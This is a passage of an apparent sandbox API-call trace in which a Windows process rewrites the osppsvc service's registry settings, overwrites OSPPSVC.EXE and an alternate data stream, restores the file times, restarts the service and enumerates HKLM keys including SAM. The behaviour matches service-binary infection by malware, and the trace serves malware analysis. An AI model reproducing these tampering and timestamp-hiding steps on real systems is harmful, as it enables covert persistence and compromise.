lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.026] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.026] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.026] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.026] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.026] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.026] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.027] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.027] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.027] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.027] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.027] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.027] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.027] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.027] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.027] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0229.027] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0229.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0229.027] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="RpcSs", cbData=0x6 | out: lpData="RpcSs") returned 0x0 [0229.028] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.028] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.028] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.028] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.028] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.028] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.028] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.028] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.028] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.028] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.028] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.029] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.029] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.029] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.029] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.029] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0229.029] ExpandEnvironmentStringsA (in: lpSrc="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5f [0229.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0229.029] ExpandEnvironmentStringsA (in: lpSrc="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", lpDst=0x21f2e28, nSize=0x5f | out: lpDst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"") returned 0x5e [0229.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0229.029] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", cbData=0x5e | out: lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"") returned 0x0 [0229.029] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" [0229.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0229.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0229.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0229.029] LocalFree (hMem=0x7f03d0) returned 0x0 [0229.029] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", cbData=0x5e | out: lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"") returned 0x0 [0229.030] OpenServiceW (hSCManager=0x803918, lpServiceName="osppsvc", dwDesiredAccess=0x2) returned 0x803990 [0229.030] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0229.052] CloseServiceHandle (hSCObject=0x803990) returned 1 [0229.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0229.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0229.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0229.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0229.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0229.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0229.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0229.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0229.053] RegCloseKey (hKey=0xc4) returned 0x0 [0229.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0229.053] RegCloseKey (hKey=0x148) returned 0x0 [0229.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0229.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0229.053] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700)) returned 1 [0229.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0229.055] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0229.055] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x4b2700 [0229.055] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0229.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x4b2700) returned 0x2bf0020 [0229.056] ReadFile (in: hFile=0x148, lpBuffer=0x2bf0020, nNumberOfBytesToRead=0x4b2700, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2bf0020*, lpNumberOfBytesRead=0x36f53c*=0x4b2700, lpOverlapped=0x0) returned 1 [0229.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x4b2700) returned 0x30b0020 [0229.633] SetEndOfFile (hFile=0x148) returned 1 [0229.650] GetFileTime (in: hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xb169e000, dwHighDateTime=0x1ca911f)) returned 1 [0229.650] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0229.650] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0229.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0229.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0229.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0229.650] NtClose (Handle=0x148) returned 0x0 [0229.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE:0" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x252de10, ftCreationTime.dwLowDateTime=0x1, ftCreationTime.dwHighDateTime=0x252e948, ftLastAccessTime.dwLowDateTime=0x36f4f0, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0229.651] GetLastError () returned 0x2 [0229.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE:0" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0229.653] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0229.653] WriteFile (in: hFile=0x148, lpBuffer=0x30b0020*, nNumberOfBytesToWrite=0x4b2700, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x30b0020*, lpNumberOfBytesWritten=0x36f53c*=0x4b2700, lpOverlapped=0x0) returned 1 [0229.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0229.840] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0229.840] NtClose (Handle=0x148) returned 0x0 [0229.840] OpenServiceW (hSCManager=0x803918, lpServiceName="osppsvc", dwDesiredAccess=0x10) returned 0x8038a0 [0229.850] StartServiceW (hService=0x8038a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0230.699] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0230.700] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0230.700] GetLastError () returned 0x6 [0230.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x30b0020) returned 1 [0230.719] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0230.720] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0230.720] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0230.720] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x20) returned 0x803990 [0230.720] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0230.721] GetLastError () returned 0x425 [0230.721] CloseServiceHandle (hSCObject=0x803990) returned 1 [0230.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0230.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0230.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0230.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0230.721] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0230.721] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0230.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0230.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0230.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.721] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0230.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0230.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.722] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0230.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0230.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.722] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0230.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0230.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.722] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0230.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0230.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.722] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0230.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", 